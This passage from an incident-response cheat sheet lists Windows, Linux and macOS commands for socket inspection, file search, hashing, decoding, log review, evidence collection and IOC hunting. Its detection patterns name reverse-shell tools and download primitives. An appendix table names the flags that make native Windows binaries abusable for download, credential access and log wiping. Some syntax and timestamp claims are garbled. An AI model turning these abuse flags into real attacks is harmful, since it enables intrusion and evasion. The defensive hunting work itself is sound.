Proc=(Get-Process -Id $_.OwningProcess).ProcessName; L=$_ .LocalAddress; R=$_ .RemoteAddress;
P=$_ .RemotePort} }
```

- Why it matters: PowerShell socket table with process mapping, filtering, grouping.
- Red flags: many TIME_WAIT to one remote IP (scanning victim perspective or heavy C2 polling); a legit-named process with a socket to a non-corporate IP; "System" or a signed binary owning an unexpected outbound socket.

```
ss -tulpn
ss -tan state established
ss -tan 'dport = :4444 or sport = :4444'
ss -s
```

- Why it matters: Linux socket table; `-u` adds UDP, `-l` listening, `-p` process, `-n` numeric (no DNS, fast and won't leak your own lookups).
- Red flags: `ss -s` showing hundreds of TIME_WAIT in a "quiet" host; LISTEN sockets on nonstandard ports owned by web/php users; UDP listeners bound to 0.0.0.0.

```
lsof -iP -n
lsof -iP -n -iTCP -sTCP:ESTABLISHED
lsof -iP -n -iUDP
```

- Why it matters: macOS (and Linux), per-process sockets; `-P -n` numeric, no hostname resolution.
- Red flags: processes holding sockets to foreign/cloud IPs you can't attribute; multiple sockets to the same remote, beacon pattern.

```
lsof +L1
```

- Why it matters: open-but-deleted files (link count 0), classic for malware that runs from /tmp then self-deletes (T1070.004).
- Red flags: any output at all on a server that "doesn't run deleted files", the running binary is already gone from disk.

State cheat sheet

State	Meaning	Red flag
LISTEN	socket awaiting connections	on 4444/6667/31337/5555/random high ports, backdoor (T1505.003-style)
ESTABLISHED	active session	to rare geos/cloud IPs; many per process, C2
SYN_SENT	outbound attempt stuck	storm = scanning outbound or failed C2 reachback
TIME_WAIT	closing completed sockets	storm = port scanning (T1046); thousands to one IP = response to a sweep
CLOSE_WAIT	remote closed, local app didn't	pileup = app not draining, also seen on zombie reverse shells
NONE/RAW	UDP entries	watch for DNS/53 non-resolver peers, tunneling

4.4 Search & Hashing

MITRE: T1083 (File/Directory Discovery), T1027 (obfuscated content search), credentials-in-files hunting (grep patterns below).

grep (all platforms, the baseline)

```
grep -r -n -i -E 'pattern' /target/dir
grep -r -n -l -i 'password' /webroot
grep -r -n -i -E --include='*.php' --include='*.js' 'eval\(|base64_decode' /var/www
grep -A5 -B5 -n -i 'cmd.exe' /var/log/access.log
grep -v -i 'ok' /var/log/audit.log
```

- Why it matters: `-r` recursive, `-n` line numbers, `-i` case-insensitive, `-E` ERE, `-l` filenames only, `--include` restrict types, `-A/-B` context, `-v` invert.
- Red flags: matches in web-accessible dirs for `eval/base64_decode/system()` (webshell, T1505.003); context lines showing obfuscated payloads.

```
grep -F -f ioc_domains.txt /var/log/*.log
grep -F -f ioc_ips.txt -r /var/log/auth.log /var/log/nginx/access.log
```

- Why it matters: `-F -f` fixed-string file matching against IOC lists, no regex escaping issues, scales to thousands of IOCs.
- Red flags: any hit, triage by count and log source; hits in `auth.log` = credential/access angle.

ripgrep (Linux/macOS; faster, more consistent flags)

```
rg -uu --hidden -n -i 'pattern' /path
rg -uu --hidden -l 'FromBase64String|CertUtil|Invoke-Expression'
rg -g '!*.min.js' -g '!node_modules' -n 'pattern' /webroot
```

- Why it matters: `-uu` = include hidden + git-ignored files, `--hidden` explicit, `-g` globs, `-l` files-only. Default `.gitignore` awareness makes it much faster than `grep` on big trees.
- Red flags: hits inside `.git/`, `.ssh/`, hidden dirs that normal tools skip, attacker-staged files commonly live there (T1564.001).

findstr (Windows)

```
findstr /s /i /n /c:"password" C:\inetpub\wwwroot\*.
findstr /s /i /m /c:"SELECT" C:\web\*.php C:\web\*.asp
findstr /s /r /i "cmd\.exe\|powershell" %TEMP%\*.log
```

- Why it matters: `/s` recursive, `/i` case-insensitive, `/n` line numbers, `/c:` literal (spaces otherwise split terms), `/m` filenames only, `/r` regex (limited RE syntax, escape metachars).
- Red flags: matches in TEMP/AppData for script content; `/r` patterns used sloppily produce false noise, re-check with PowerShell `Select-String`.

```
Get-ChildItem -Recurse C:\web -Include *.php,*.js | Select-String -Pattern 'eval\(|base64'
```

- Why it matters: PowerShell equivalent with real regex.
- Red flags: same webshell signatures as grep above.

find (Linux/macOS)

```
find / -xdev -type f -mmin -60
find /tmp /var/tmp /dev/shm -type f -mmin -720 -exec ls -la {} \;
find / -type f -perm -4000 2>/dev/null
find / -type f -size +100M -exec ls -lah {} \;
find /home -type f -newermt '2026-07-01' ! -name '*.log' -mmin -10080
```

- Why it matters: `-mmin/-mtime` modification recency, `-perm -4000` setuid, `-size`, `-newermt` date-relative window, `-xdev` stay on one filesystem.
- Red flags: new files in world-writable dirs during the intrusion window; setuid binaries not in your baseline; large files appearing after compromise (staging/exfil staging, T1074).

locate / mdfind (macOS)

```
sudo /usr/libexec/locate.updatedb
locate -i 'invoice'
mdfind -onlyin /Users/admin/Downloads -name 'invoice'
mdfind "kMDItemFSName == '*.zip'c" -onlyin /tmp
```

- Why it matters: prebuilt index (locate, manually refresh) and Spotlight metadata (mdfind, near-instant, searches content too).
- Red flags: documents named after business events ("invoice", "salary", "resume"), spearphish lure patterns (T1566.001); archives in /tmp (staging, T1074).

Hashing

```
sha256sum file1 file2 > hashes.txt
shasum artifact.bin
md5sum artifact.bin
sha256sum -c --quiet hashes.txt
```

- Why it matters: GNU coreutils (Linux); note Windows 10+ only ships `Get-FileHash`, and macOS ships `shasum` (below). `-c` verifies a manifest.
- Red flags: hash of a downloaded binary differing from the vendor's published hash; two files with identical hash that should differ (hash collision attacks are rare but check if MD5).

```
Get-FileHash -Algorithm SHA256 -Path C:\path\file.exe
Get-ChildItem D:\evidence -Recurse -File | Get-FileHash -Algorithm SHA256 | Export-Csv manifest.csv
-NoTypeInfo
```

- Why it matters: PowerShell hashing; bulk manifest in one pass.
- Red flags: `Get-FileHash` failing with access denied on files you should own, ACL tampering.

```
certutil -hashfile C:\path\file.exe SHA256
```

- Why it matters: no-PowerShell fallback on Windows (also MD5, SHA1).
- Red flags: same binary, different hash across two copies (in-flight tampering), compare against vendor/hardcoded IOCs.

```
shasum -a 256 file
openssl dgst -sha256 file
```

- Why it matters: macOS native `shasum` (also `-a 1`, `-a 512`); `openssl` works everywhere including Windows Git Bash.
- Red flags: hash mismatch against IOC lists, build the compare pipeline:

```
sha256sum /opt/iocs/all_artifacts/* 2>/dev/null | grep -F -f /opt/iocs/known_bad_sha256.txt
```

- Why it matters: compute hashes of all artifacts, then `grep` the `hash path` output lines against a known-bad hash list, only bad hits print.
- Red flags: any output.

strings

```
strings -a -n 8 artifact.bin
strings -a -n 8 -e l artifact.bin      # UTF-16LE, Windows binaries
strings artifact.bin | grep -iE 'http|cmd|powershell|base64|\.dll|\\temp'
```

- Why it matters: extract printable strings; `-a` whole file, `-n 8` min length, `-e l` UTF-16 (GNU strings only; macOS/BSD strings lack `-e`).
- Red flags: URLs, `/tmp` paths, PowerShell/base64 fragments inside a binary that claims to be a document; nothing but junk strings = packed (T1027.002).

4.5 Encoding / Decoding (Attacker Usage)

MITRE: T1140 (Deobfuscate/Decode), T1027 (Obfuscated Files or Information), T1059.001 (PowerShell).

```
echo 'aGVsbG8=' | base64 -d
base64 -d file.b64 > out.bin
```

- Why it matters: GNU base64 decode (Linux). The `echo | base64 -d` one-liner is the most common way analysts (and attackers) decode blobs.
- Red flags: decoded output that is itself executable (MZ, ELF, #!, PK zip magic), decode-and-run pipeline (T1140→T1204/1105).

```
echo 'aGVsbG8=' | base64 -D
base64 -D -i file.b64 > out.bin
```

- Why it matters: macOS/BSD base64 uses `-D` (uppercase) for decode and `-i` to ignore garbage, same tool, different flags; the single most common cross-platform gotcha.
- Red flags: same as above; on macOS, running `base64 -d` silently fails or errors, don't conclude "not base64".

```
certutil -decode in.b64 out.bin
certutil -decodehex hex.txt out.bin
```

- Why it matters: Windows' built-in decoder, and one of the most-abused LOLBins for payload staging (T1140). Also decodes hex.
- Red flags: your hunt should search for `certutil -decode` in process/command-line logs (Event 4688 / Sysmon 1, auditd), an analyst-decoded file may mean an attacker staged one.

```
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QQ=='))
[IO.File]::WriteAllBytes('C:\temp\x.bin', [Convert]::FromBase64String('aGVsbG8='))
```

- Why it matters: in-memory decode (no file artifact for the string) and byte-write, the classic PowerShell payload stage.
- Red flags: `FromBase64String` in ScriptBlock logging (Event 4104) or AMSI hits; decode the blob and check for executables/scripts.

```
python3 -c "import base64; print(base64.b64decode('aGVsbG8='))"
python3 -c "import base64,sys; open('out.bin','wb').write(base64.b64decode(open(sys.argv[1]).read()))"
file.b64
```

- Why it matters: python3 is on all three platforms, the most portable decode path, and binary-safe via `wb`.
- Red flags: decoded content with high entropy (encrypted second stage) or shellcode bytes, continue to openssl/xxd steps.

```
echo -n '7f454c46' | xxd -r -p > out.bin
xxd -r -p hex.txt out.bin
```

- Why it matters: hex → binary reversal (`-r -p` plain hexdump reverse). Common for shellcode delivery and staged payloads.
- Red flags: hex that decodes to MZ/\x7fELF/#!, executable staged from a hex blob (T1140).

```
openssl enc -d -aes-256-cbc -pbkdf2 -in data.enc -out data -pass pass:KEY
openssl enc -d -aes-256-cbc -a -in data.b64.enc -out data -pass pass:KEY
```

- Why it matters: decryption (brief, see crypto section): `-a` if the ciphertext was base64-wrapped, `-pbkdf2` for modern key derivation (required on OpenSSL 3 unless `-md` given).
- Red flags: if decryption fails or the "key" isn't found in scripts/history/memory, hunt the key material (T1552): strings on the loader, process memory, env vars, `.bash_history`/PowerShell history.

Hunting for the decode itself (defender side):

```
grep -rE 'FromBase64String|Convert\.FromBase64String|certutil \.?-decode|base64 \.-d|base64 \.-D'
~/.bash_history /var/log/auth.log /tmp 2>/dev/null
```

- Why it matters: find where decoding happened, attacker command lines often survive in shell history and login logs.
- Red flags: hits on hosts that shouldn't run such commands; correlate each hit with the decoded payload.

4.6 Logs (Cross-Platform Pointers + Timeline)

MITRE: T1070 (Indicator Removal, log clearing), T1070.001 (Clear Windows Event Logs).

Windows (pointer, deep dive in Windows section)

```
wevtutil epl Security C:\evidence\security.evtx
wevtutil qe Security /rd:true /c:50 /f:text /q:"*[System[(EventID=4624 or EventID=4625)]]"
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624,4625; StartTime=(Get-Date).AddDays(-7)}
-MaxEvents 100
```

- Why it matters: `epl` exports a clean EVTX copy; `qe/Get-WinEvent` query. Cross-platform point: EVTX opens in tools (EvtxECmd, Chainsaw) on any OS, collect first, analyze anywhere.
- Red flags: Event 1102 (Security log cleared), Event 104 (a log was cleared), Event 1100 (Event Log service stopped unexpectedly), all are clearing indicators (T1070.001).

Linux (pointer)

```
journalctl --since "2026-08-01 00:00" -u sshd
journalctl -k -b
journalctl -p err --since today
journalctl -o json --since "1 hour ago" | jq -r 'select(.MESSAGE|test("failed")) | .MESSAGE'
```

- Why it matters: `--since` time window, `-u` unit, `-k` kernel ring, `-p` priority, `-o json` for machine parsing.
- Red flags: journal gap where a host was "up" (attacker stopped/cleared or journald restarted); `-k` showing module loads you don't expect.

macOS (pointer)

```
log show --last 1h --predicate 'process == "sshd"'
log show --last 24h --predicate 'eventMessage CONTAINS "ssh"' --info --debug
log stream --predicate 'process == "bash"'
```

- Why it matters: unified log `log show` (historical) / `log stream` (live). Note: unified log prunes by policy and persistence is limited, collect within retention or lose it.
- Red flags: log erase entries (rare, only with SIP-off setups); gaps during uptime.

Time sync & timeline correlation

Platform	Check	What to look at
Windows	w32tm /query /status	Source, Last Successful Sync Time; offset > a few seconds = skew
Linux	timedatectl / chronyc tracking / ntpq -p	"NTP synchronized: yes", System clock vs RTC, stratum of peers
macOS	sntp time.apple.com (prints offset; verify on target version)	Offset value; <code>systemsetup -getusingnetworktime</code>

```
w32tm /query /status
w32tm /query /peers
timedatectl
chronyc tracking
```

- Why it matters: before correlating logs across hosts, confirm clocks agree, a 30-second skew breaks process/network/log correlation.
- Red flags: no sync source (attacker disabled NTP to blur timelines, T1070.006-adjacent); offset that grew over time (failed sync) vs. a jump (manual set, clock tampering).

Rotation caveats

- Linux: `ls /etc/logrotate.d/` and `logrotate -d /etc/logrotate.conf` (dry run), if rotation is daily and retention is 7 days, a 2-week gap is *rotation*, not necessarily a cover-up; `journalctl --disk-usage` shows journal retention.
- Windows: `wevtutil gl Security` shows max size (default 20 MB) and retention flag, a `retention=false` (auto-overwrite) log silently loses old events; export EVTX promptly.
- macOS: unified log has fixed persistence buckets (info ~1-7 days depending on volume; errors longer), plan collection accordingly.

- Always record date `-u` / ISO-8601-with-offset when collecting, and convert all timestamps to UTC before correlation.

4.7 Evidence Collection & Integrity

MITRE: T1560 (Archive Collected Data, the attacker technique; here we do the same with custody), defensive.

```
tar czvf evidence-2026-08-13.tgz --format=posix --full-time /var/log /etc /tmp
```

- Why it matters: quick triage archive. Caveat: tar stores mtime (and with `--format=posix/pax`, nanosecond + extended attrs) but reads update atime unless you pass `--atime-preserve`, and birth/ctime are not in a normal tar.
- Red flags: treat tar as triage, not a forensic copy; re-image with dd for anything you'll defend in court.

```
zip -e -r evidence.zip /target
```

- Why it matters: password-encrypted archive for transit of sensitive evidence.
- Red flags: legacy `zip -e` uses weak ZipCrypto, for strong encryption use 7z AES (`7z a -p -mhe=on`) and never send the password in the same channel.

```
dd if=/dev/sdb of=evidence.img bs=4M conv=noerror,sync status=progress
```

- Why it matters: bit-for-bit image of a disk/partition. `conv=noerror,sync` fills unreadable sectors (HDD damage) so offsets stay aligned.
- Red flags: forensic imaging must use a hardware/software write blocker; if none, mount `ro,noatime` first and document that reads may have touched atime. Prefer `dc3dd/dcfldd`/FTK Imager for formal cases (they log hashes per block).

```
dd if=/dev/rdisk4s1 of=partition.dd bs=1m conv=noerror,sync
```

- Why it matters: macOS `rdisk` device bypasses the block cache, consistent image of a live disk.
- Red flags: imaging a mounted, actively-written volume yields a non-consistent image, note it; prefer shutdown+write-blocked acquisition.

```
robocopy C:\source D:\evidence /E /COPY:DAT /DCOPY:DAT /R:1 /W:1 /XJ
```

- Why it matters: Windows evidence mirror: `/E` all subdirs, `/COPY:DAT` Data+Attributes+Timestamps, `/DCOPY:DAT` directory timestamps, `/XJ` skip junctions (avoid loops), `/R:1 /W:1` minimal retries. Exit codes 0-7 are success.
- Red flags: robocopy does not copy ACLs unless `/SEC` or `/COPY:DATS` added; it *does* preserve NTFS creation time. Record the exit code, 8+ means files were missed.

```
sha256sum /var/log/* /etc/* > manifest.txt && sha256sum -c --quiet manifest.txt
Get-ChildItem D:\evidence -Recurse -File | Get-FileHash -SHA256 | Export-Csv D:\evidence\manifest.csv
```

- Why it matters: hash everything at collection, then verify the manifest before and after transport.
- Red flags: manifest verification failing after any stage = integrity broken, re-collect, don't patch.

Chain of custody (brief)

- Record for every item: collector, date/time (UTC), source host/path, acquisition method, and a hash at acquisition.
- Never analyze the only copy, duplicate first (working copy vs. preservation copy).
- Store preservation media write-protected; document every subsequent access to the preservation copy.
- Hash the manifest itself and store it out-of-band (that is your integrity anchor).

4.8 Timestamping & Artifact Review

MITRE: T1070.006 (Timestamp).

```
stat /path/file
ls -la --time-style=full-iso --full-time /path
```

- Why it matters: Linux shows Access/Modify/Change (+ Birth on ext4/btrfs with coreutils ≥ 8.31 ; - where the FS doesn't expose it, e.g. some xfs setups).
- Red flags: Modify (mtime) earlier than Birth (ctime), impossible in normal use, definitive timestamp; ctime newer than everything (recent inode change = copy-in then set times, T1070.006); dates in the future.

```
debugfs -R "stat <inode_number>" /dev/sda1
debugfs -R "stat /var/tmp/x" /dev/sda1
```

- Why it matters: ext filesystem-level Birth (ctime) read via debugfs, survives even if the attacker set mtime/atime with `touch -d` (which cannot change ctime). Run as root on an unmounted/read-only copy of the FS.
- Red flags: ctime older than the attacker's stated mtime window; ctime > mtime (mtime backdated before file's actual birth).

```
Get-Item C:\path\file.exe | Select-Object CreationTime,LastWriteTime,LastAccessTime
cmd /c dir /a /tc C:\path
```

- Why it matters: Windows triple timestamps; `dir /tc` prints creation column.
- Red flags: CreationTime later than LastWriteTime (file copied in then write-time aged backwards); all three timestamps identical (single API call, SetFileTime); LastWriteTime in the future; timestamps inconsistent with the file's content (PE timestamp vs. file times).

```
stat -x /path/file
mdls -name kMDItemFSCreationDate /path/file
```

- Why it matters: macOS BSD `stat -x` shows Access/Modify/Change/Birth; `mdls` reads the APFS/HFS birth date.
- Red flags: Birth after Modify; birth/write times that don't match the quarantine/download evidence in `mdls` (kMDItemWhereFroms).

Tool-level artifacts (brief mention only)

- NTFS: compare \$STANDARD_INFORMATION vs \$FILE_NAME timestamps, attackers routinely forget \$FILE_NAME (use MFTECmd, analyzeMFT, Autopsy); USN journal (`fsutil usn readjournal`) records prior names/actions.
- APFS: journal replay and snapshot deltas show edits even when times were stomped (pytsk3, apfs-tools, `tmutil` snapshots).
- Cross-check filesystem times against Sysmon Event 11 (FileCreate) / `auditd create` records and any collector logs, a file that "wasn't touched" per timestamps but has creation events is stomped.

4.9 IOC Hunting Patterns

MITRE: T1564.001 (Hidden Files/Dirs, /tmp staging), T1036 (Masquerading), T1027 (Obfuscation), T1046.

Pattern extraction

```
grep -rEo '[0-9]{1,3}(\.[0-9]{1,3}){3}' /var/log | sort | uniq -c | sort -rn
grep -rEo '((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])' logs/
```

- Why it matters: loose IPv4 (fast, some false positives like 999.999.999.999) then strict 0-255 validation (accurate, slower).
- Red flags: IPs that appear in logs but nowhere in your asset inventory; cluster by count, high-frequency = C2 or scanner (T1046).

```
grep -rEo '([a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}' /var/log | sort -u
```

- Why it matters: domain extraction (rough; add a TLD whitelist for precision).
- Red flags: domains never registered internally; .tk/.top/.xyz/.icu/.cf TLDs; domains with 20+ char random labels (DGA, T1568.002).

```
grep -rEo '[A-Za-z0-9+/\]{40,}={0,2}' /var/log /tmp | sort -u
grep -rEo '[0-9a-fA-F]{32,}' /var/log | sort -u
```

- Why it matters: base64 blobs (length ≥ 40 , optional trailing padding) and hex runs (≥ 32 = MD5-sized up to shellcode).
- Red flags: base64 that decodes to executables or PowerShell (cross-reference 4.5); hex runs that are not UUIDs/cert fingerprints, test-decode the top hits. Expect false positives: JWTs (eyJ...), public keys, TLS session IDs.

```
python3 - file.b64 <<'EOF'
import sys, math, collections
data = open(sys.argv[1], 'rb').read()
c = collections.Counter(data); n = len(data)
print(-sum(v/n * math.log2(v/n) for v in c.values()))
EOF
```

- Why it matters: Shannon entropy of a file: plaintext scripts $\approx 4\text{-}5$ bits/byte, base64 ≈ 6 , encrypted/compressed $\approx 7.9\text{-}8$.
- Red flags: a "script" file at 7.9+ bits/byte is encrypted/packed, decode or dump memory (T1027.002).

Staging directories

```
find /tmp /var/tmp /dev/shm -type f -mmin -720 -exec ls -la {} \;
find /tmp -type f | grep -E '[A-Za-z0-9]{16,}\.(exe|dll|bin|scr|sh|py|ps1)$'
```

- Why it matters: world-writable staging dirs; /dev/shm especially (often excluded from AV scans, tmpfs = RAM).
- Red flags: executables/scripts with random 16+ char names in /tmp; files owned by service accounts in /tmp; anything at all in /dev/shm on a server.

```
Get-ChildItem $env:TEMP -Recurse -File -ErrorAction SilentlyContinue |
  Where-Object { $_.Name -match '[A-Za-z0-9]{16,}\.(exe|dll|ps1|scr|bin)$' } |
  Sort-Object LastWriteTime -Descending | Select-Object -First 30 FullName,Length,LastWriteTime
Get-ChildItem $env:TEMP -Directory -Force | Select-Object Name,LastWriteTime
```

- Why it matters: %TEMP% staging hunt; -Force reveals hidden dirs attackers use inside TEMP (T1564.001).
- Red flags: random-name executables recently written; hidden subdirectories with fresh write times; signed-lookup of found binaries failing.

YARA (brief)

```
yara -r -s rules.yar /target/dir
yara -w rules.yar /target/file
```

- Why it matters: pattern-match files/binary against YARA rules (-r recursive, -s print matching strings, -w no warnings). Feed extracted artifacts and the whole FS sweep here.
- Red flags: matches on rulesets you trust (public + your own) on files in staging dirs, triage by rule confidence.

Sigma / EQL (reference only, not run on hosts)

- Sigma: YAML detection rules converted by tooling (sigmac) into Splunk/Elastic/QRadar/Windows Event Log queries, the *rule text* is the hunt logic; conversion runs on your SIEM side.
- EQL: event-correlation language (Elastic) for sequencing/joins across events (e.g., "process created then network connect then file write"); express hunt hypotheses in EQL and run where your SIEM supports it, no host-level CLI.
- Both are worth mining for detection patterns even when you're hunting by hand with this cheat sheet.

Appendix A: Top-10 Rapid Triage Commands per OS

Windows

```
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624,4625; StartTime=(Get-Date).AddDays(-7)}  
-MaxEvents 5000
```

Why it matters: fastest provider-side view of logon activity. Red flags: 4625 spikes (spraying); 4624 LogonType 3/10 from unexpected IPs.

```
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -MaxEvents 500  
| Where-Object { $_.Message -match 'IEX|DownloadString|Invoke-WebRequest|-enc |-e\s+[A-Za-z0-9+/=]{50,}' } |  
Format-List TimeCreated, UserId, Message
```

Why it matters: 4104 captures de-obfuscated script text (GPO-gated; primary PS source). Red flags: download/execute primitives, base64 blobs, `amsiInitFailed`, `Invoke-Mimikatz`.

```
Get-CimInstance Win32_Process | Select-Object ProcessId,ParentProcessId,ExecutablePath,CommandLine | Where-  
Object { $_.CommandLine -match '-enc\s|-w\s+hidden|-executionpolicy bypass|iex|certutil.*-urlcache|  
bitsadmin' }
```

Why it matters: command-line inventory of every process; spots encoded launches. Red flags: `-nop -sta -w hidden -enc`, `-ep bypass`, `Office->powershell` parents.

```
Get-NetTCPConnection -State Established | Select-Object  
LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess | ForEach-Object { $_ | Add-Member  
-NotePropertyName Proc -NotePropertyValue (Get-Process -Id $_.OwningProcess -ErrorAction  
SilentlyContinue).ProcessName -PassThru } | Format-Table -AutoSize
```

Why it matters: every live connection mapped to owning process (T1049). Red flags: system procs to odd ports (4444/8888/9001), long-lived foreign connections, periodic intervals.

```
Get-ChildItem C:\Windows\Temp,C:\Users\Public,C:\ProgramData -Force -Recurse -ErrorAction SilentlyContinue |  
Where-Object { $_.Extension -in '.ps1','.exe','.dll','.vbs','.js','.hta','.scr','.bat' -and $_.LastWriteTime  
-gt (Get-Date).AddDays(-30) } | Format-Table FullName,Length,LastWriteTime -AutoSize
```

Why it matters: payloads live in writable dirs; `-Force` surfaces hidden files. Red flags: scripts/binaries in Temp/Public/ProgramData, write times aligned with intrusion.

```
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run','HKCU:  
\Software\Microsoft\Windows\CurrentVersion\Run','HKLM:  
\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce','HKCU:  
\Software\Microsoft\Windows\CurrentVersion\RunOnce' | Format-List
```

Why it matters: most-abused persistence point (T1547.001). Red flags: values in Temp/AppData, base64/`-enc` in value data.

```
Get-CimInstance Win32_Service | Select-Object Name,State,StartMode,StartName,PathName | Where-Object  
{ $_.PathName -match 'temp|programdata|users\\.*public|appdata' }
```

Why it matters: service binaries outside Program Files are near-diagnostic of persistence (T1543.003). Red flags: PathName in Temp/Public, StartName=LocalSystem, masquerades.

```
Get-DnsClientCache | Select-Object Entry,Data | Sort-Object Entry -Unique
```

Why it matters: recently resolved names reveal C2/staging without packet capture. Red flags: unknown domains, DGA labels, typosquats of legit brands.

```
Get-LocalUser | Select-Object Name,Enabled>PasswordRequired>PasswordLastSet>LastLogon; Get-LocalGroupMember  
-Group Administrators
```

Why it matters: backdoor accounts are top persistence (T1078, T1136). Red flags: new accounts (4720), unexpected admin members, PasswordRequired=False.

```
Get-MpThreatDetection | Select-Object InitialDetectionTime,ThreatID,Resources | Sort-Object InitialDetectionTime -Descending
```

Why it matters: local record of detections incl. paths (cross-ref 1116/1117). Red flags: unknown detections; detections paired with 1119 (action failed).

Linux

```
ss -tanp
```

Why it matters: sockets + owning process (root for others' PIDs); `ss -s` summary. Red flags: LISTEN on 4444/6667/31337/high ports, ESTABLISHED to rare IPs, TIME_WAIT/SYN_SENT storms.

```
last -F -a | head -50
```

Why it matters: successful logins from wtmp. Red flags: foreign IPs/odd hours, service accounts logging in, double sessions.

```
grep -E 'Accepted|Failed password|session opened' /var/log/auth.log | tail -50
```

Why it matters: auth + session events (auth.log; /var/log/secure on RHEL). Red flags: Failed-password bursts followed by Accepted (T1110->T1078).

```
journalctl -xe
```

Why it matters: recent errors plus boot tail, what happened lately. Red flags: crashes/OOM before incident time (mining), restarts of odd units.

```
systemctl list-unit-files --state=enabled
```

Why it matters: everything enabled at boot/events, one page. Red flags: unknown units, spoofed names (sshd, systemd-update).

```
ls -la /etc/cron* /var/spool/cron/ 2>/dev/null
```

Why it matters: system crontabs and spools, classic persistence (T1053.003). Red flags: new entries, scripts from /tmp, recent mtimes.

```
find /tmp /dev/shm /var/tmp -xdev -type f -perm -u+x 2>/dev/null -ls
```

Why it matters: world-writable staging, primary dropper zone. Red flags: executables, hidden dot-binaries, recent mtimes (T1105/T1036).

```
find / -xdev -type f -mmin -60 2>/dev/null -ls | head -60
```

Why it matters: what changed in the last hour, anchors the incident. Red flags: new binaries/scripts in /etc, /usr/local; new .so files.

```
grep -E 'base64|/dev/tcp|nc |ncat|socat|python.*pty|mkfifo|exec [0-9]<>' /root/.bash_history ~/.bash_history 2>/dev/null
```

Why it matters: one sweep for reverse-shell/downloader patterns in history. Red flags: any match (also `sudo su`, cron writes).

```
awk -F: '$3==0{print}' /etc/passwd
```

Why it matters: all UID-0 accounts, instant backdoor detection. Red flags: any account besides root with UID 0 (T1078/T1136).

macOS

```
ps -eo pid,ppid,user,lstart,command
```

Why it matters: processes with parent PID and start time. Red flags: PID-1 as parent of odd children, /tmp paths, renamed binaries, clustered starts.

```
ps aux | sort -nrk 3 | head -20
```

Why it matters: top CPU, miners and beacons surface immediately. Red flags: unknown processes pinned at high CPU with odd args.

```
sudo lsof -i -P -n
```

Why it matters: every open socket, numeric, per process. Red flags: connections to known-bad IPs, unrecognized holders, beacon counts.

```
launchctl list
```

Why it matters: jobs in your launchd domain with PID and status. Red flags: unknown labels, crash-looping, binary in /tmp or ~/Library.

```
sudo ls -laR /Library/LaunchDaemons /Library/LaunchAgents ~/Library/LaunchAgents
```

Why it matters: every third-party launch plist with perms and mtimes. Red flags: world-writable plists, mtimes clustering at compromise date.

```
sudo log show --last 1h
```

Why it matters: baseline dump of the last hour of unified log. Red flags: error/fault clusters, unusual process launches.

```
log show --predicate 'process == "bash"' --last 24h
```

Why it matters: every shell invocation on the system. Red flags: bash from non-shell parents (web/python/osascript), -c with curl/nc/base64.

```
mdfind 'kMDItemWhereFroms == "*"c' -onlyin ~/Downloads
```

Why it matters: every downloaded file by origin URL. Red flags: hits for attacker domains; download clusters before an incident.

```
spctl --status; csrutil status
```

Why it matters: Gatekeeper and SIP state, trust-model integrity. Red flags: assessments disabled; SIP disabled, biggest compromise indicator.

```
last -30
```

Why it matters: recent logins from wtmp. Red flags: sessions at odd hours, reboots you can't explain.

Appendix B: Master Suspicious-Flags Table (Every Native Tool)

One row per native command-line tool covered in this document. Categories describe each tool's typical abuse: download/execution, recon/network, persistence, credential access, defense evasion / anti-forensics, lateral movement, exfil/staging.

Windows (A-F)

Tool	Suspicious flags/parameters	One-word abuse category
arp	-a	Recon
assoc	.ext=progid	Persistence
at	HH:MM /interactive cmd /c	Persistence
attrib	+h +s +r	Evasion
bcdedit	/set {globalsettings} advancedoptions true	Evasion
bitsadmin	/create /addfile /setnotifycmdline /resume	Download
cacls	/e /g everyone:F /t	Evasion
certoc	-LoadDLL	Execution
certreq	-Post -config <URL>	Transfer
certutil	-urlcache -split -f, -decode, -exportPFX	Download
cipher	/w:C:\	Evasion
clip	clip	Theft
cmd	/c, /k, /v:on	Execution
cmdkey	/generic: /add: /list	Creds
cmdl32	/vpn /lan <config>	Download
cmstp	/ni /s <inf>	Execution
comp	-	None
compact	/c /s	Archive
control	<dll>/<cpl> arg	Execution
copy	/y /b +	Staging
cscript	//e:vbs //nologo	Execution
curl	-k -o --data	Download
csc	/out: /target:exe	Compile
del	/f /s /q /a	Cleanup
diantz	/f <ddf>	Archive
dir	/a /s /b	Recon
diskpart	/s, clean, attach vdisk	Destruction
dism	/image: /apply-image	Modify
dllhost	/Processid:{GUID}	Execution
driverquery	/v /fo csv	Recon
dsadd	-pwd -memberof	Persistence
dsget	-memberof -samid	Recon
dsmod	-pwd -memberof	Persistence
dsmove	-newparent	Evasion
dsquery	-filter -limit 0	Recon
esentutl	/y /d /o /p	Creds
eventvwr	(mscfile hijack)	Execution
expand	-f:*	Extract
explorer	/root,"<exe>"	Execution

Tool	Suspicious flags/parameters	One-word abuse category
extrac32	/Y /E /L	Extract
findstr	/s /i /m	Recon
forfiles	/c "cmd /c ..."	Execution
format	/q /y	Destruction
fsutil	usn deletejournal /d	Evasion
ftp	-s:<script> -n -i	Exfil
diskshadow	/s <script>, exec	Creds

Windows (G-L)

Tool	Suspicious flags/parameters	One-word abuse category
getmac	/s /u /p	Recon
gpresult	/R /Z /H /USER	Recon
gpupdate	/force /target:user /sync /boot	Policy
hostname	(batch invocation)	Recon
hh	<file.chm>, http://...chm	Execution
icaccls	/grant Everyone:F /T /C /Q /inheritance:r /setowner	Evasion
ieexec	<URL-to-assembly>	Execution
ie4uinit	-basesettings (non-System32 path)	Execution
iexpress	/N /Q /M, /C:"cmd /c ..."	Execution
iisreset	/start /stop /restart	Service
InstallUtil	/logfile= /LogToConsole=false /U	Execution
ipconfig	/all /displaydns /flushdns	Recon
Get-WmiObject/gwmi	Win32_Process -ComputerName <host>	Recon
gacutil (third-party)	/i /if /u /il	Persistence
klist	get <SPN>, purge, tgt, -li	Credentials
ksetup	/setdomain /mapuser /addkdc	Credentials
